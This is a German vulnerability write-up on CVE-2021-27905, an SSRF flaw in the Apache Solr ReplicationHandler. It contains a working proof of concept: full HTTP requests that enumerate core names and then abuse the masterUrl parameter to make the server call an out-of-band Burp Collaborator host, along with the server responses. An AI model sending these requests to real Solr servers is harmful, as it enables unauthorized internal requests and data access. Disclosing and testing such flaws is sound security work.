
[CVE-2021-27905] Apache Solr ReplicationHandler Server Side Request Forgery (SSRF)
[CVE-2021-27905] Apache Solr ReplicationHandler Server Side Request Forgery (SSRF)
Hit Counter
Apache Solr (steht für Searching On Lucene with Replication) ist eine freie Open-Source-Suchmaschine, die auf der Bibliothek Apache Lucene basiert und in Java geschrieben ist. Apache Solr verfügt über RESTful-XML/HTTP- und JSON-APIs sowie Client-Bibliotheken für viele Programmiersprachen wie Java, Python, Ruby, C#, PHP und viele weitere, die zum Aufbau suchbasierter und Big-Data-Analyseanwendungen für Websites, Datenbanken, Dateien usw. verwendet werden.
Apache Solr ist in allen Versionen vor 8.8.2 (7.0.0 bis 7.7.3 und 8.0.0 bis 8.8.1) anfällig für die Schwachstelle Server Side Request Forgery (SSRF). Eine erfolgreiche Ausnutzung dieser Schwachstelle kann zu unbefugten Aktionen oder zum Zugriff auf Daten innerhalb der Organisation führen, entweder in der anfälligen Anwendung selbst oder auf anderen Backend-Systemen, mit denen die Anwendung kommunizieren kann.
Der ReplicationHandler (normalerweise unter einem Solr-Core unter /replication registriert) hat einen Parameter masterUrl (auch als Alias leaderUrl), mit dem ein anderer ReplicationHandler auf einem anderen Solr-Core bezeichnet wird, um Indexdaten in den lokalen Core zu replizieren. Um eine SSRF-Schwachstelle zu verhindern, sollte Solr diese Parameter gegen eine ähnliche Konfiguration prüfen, wie sie für den Parameter shards verwendet wird. Bevor diese Schwachstelle behoben wurde, tat es das nicht.
Proof of Concept (PoC): Um diese Schwachstelle auszunutzen, muss ein Angreifer den Core-Namen auf Apache Solr kennen. Deshalb kann die folgende Anfrage verwendet werden, um den/die Core-Namen zu ermitteln.
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

Nachdem die Core-Namen ermittelt wurden, wählt man einfach einen davon aus und sendet eine Anfrage an diesen Endpunkt: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


Gegenmaßnahmen: Jede der folgenden Maßnahmen reicht aus, um diese Schwachstelle zu verhindern
8.8.2 oder höher.Referenzen: